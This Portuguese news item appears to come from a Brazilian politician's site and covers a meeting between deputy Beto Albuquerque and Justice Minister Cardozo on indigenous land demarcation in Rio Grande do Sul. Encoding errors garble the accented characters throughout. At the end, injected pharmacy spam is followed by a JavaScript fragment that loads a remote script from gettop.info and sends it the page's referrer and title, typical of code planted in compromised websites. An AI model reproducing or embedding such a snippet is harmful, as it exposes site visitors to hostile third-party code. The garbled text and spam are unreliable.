ai???O ministro Cardozo, jA? foi deputado como nA?s e Ai?? um homem que cumpre a lei. Por isso temos certeza de que esse impasse serA? resolvidoai???, concluiu Beto. Foto Rodimar Oliveira.
O lAi??der do PSB na CA?mara, deputado federal Beto Albuquerque (PSB), se reuniu nesta quarta-feira (13) com o ministro da JustiAi??a, JosAi?? Eduardo Cardozo, para tratar da demarcaAi??A?o de terras indAi??genas no Rio Grande do Sul. No encontro, o ministro garantiu diA?logo com os moradores das terras que poderA?o virar reserva antes de qualquer decisA?o final.
Albuquerque disse ao ministro que as terras em questA?o nA?o sA?o latifA?ndios, mas sim pequenas propriedades. ai???Viemos aqui mostrar ao ministro Cardozo que estamos muito preocupados com este impasse e pedir aAi??suspensA?oAi??do processo neste momento, para aguardarmos que o STF defina uma regra definitivaai???, explicou o parlamentar.
Durante a reuniA?o, prefeitos, produtores, deputados federais e estaduais e senadores gaA?chos relataram ao ministro detalhes dos incidentes que estA?o ocorrendo neste processo da demarcaAi??A?o de terras indAi??genas em 19 municAi??pios do Estado. Segundo eles, as aAi??Ai??es da PolAi??cia Federal (PF) e da FundaAi??A?o Nacional do A?ndio (FUNAI) tA?m sido ai???prepotentesai???, quando as famAi??lias estariam sendo constrangidas por estes agentes duranteAi??o processo de mediAi??A?o das terras.
O deputado federal Beto Albuquerque disse ter certeza de poder contar com a sensibilidade do ministro Cardozo. Somente em Mato Castelhano cerca de 300 famAi??lias estA?o sendo atingidas. O prefeito de Mato Castelhano, Jorge Luiz Agazzi, relatou aos presentes que atualmente existe um clima de guerra no municAi??pio, com policiais federais pressionando as famAi??lias.
O ministro da JustiAi??a destacou que hoje 60% de sua agenda Ai?? relativa Ai?? questA?o indAi??gena. Afirmou que o MinistAi??rio Ai?? obrigado a cumprir a ConstituiAi??A?o Federal, que determina a realizaAi??A?o de estudos tAi??cnicos para definir o que Ai?? terra indAi??gena. Pela ConstituiAi??A?o todas as A?reas de terras indAi??genas sA?o de propriedade da UniA?o e se nA?o forem demarcadas o Governo e o MinistAi??rio da JustiAi??a podem ser processados pelo MinistAi??rio PA?blico por prevaricaAi??A?o.
ai???NA?o Ai?? bondade nem sacanagem demarcar uma A?rea indAi??gena, Ai?? nossa obrigaAi??A?oai???, disse o ministro destacando que a presenAi??a da PolAi??cia Federal Ai?? para garantir a seguranAi??a dos TAi??cnicos Federais.
Apesar da polA?mica, o ministro informou Ai?? comitiva gaA?cha sua intenAi??A?o de criar um Conselho Julgador no MinistAi??rio da JustiAi??a para avaliar, com imparcialidade, os processos realizados pela FUNAI. Cardozo afirmou que nA?o tem como paralisar um processo de mediAi??A?o de terras indAi??genas jA? iniciado. Na tentativa de solucionar o impasse no RS, o ministro solicitou um relatA?rio detalhado da situaAi??A?o nas 19 A?reas em questA?o. A intenAi??A?o Ai?? subsidiar os estudos tAi??cnicos da FUNAI e posteriormente busca soluAi??Ai??es para cada situaAi??A?o.
O deputado Beto Albuquerque reafirmou, ao final da audiA?ncia, confiar em uma boa soluAi??A?o por parte do MinistAi??rio da JustiAi??a. ai???O ministro Cardozo jA? foi deputado como nA?s e Ai?? um homem que cumpre a lei. Por isso, temos a certeza de que esse impasse serA? resolvidoai???, concluiu Beto. cheap venlor antidepressantstreet price of remeron s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
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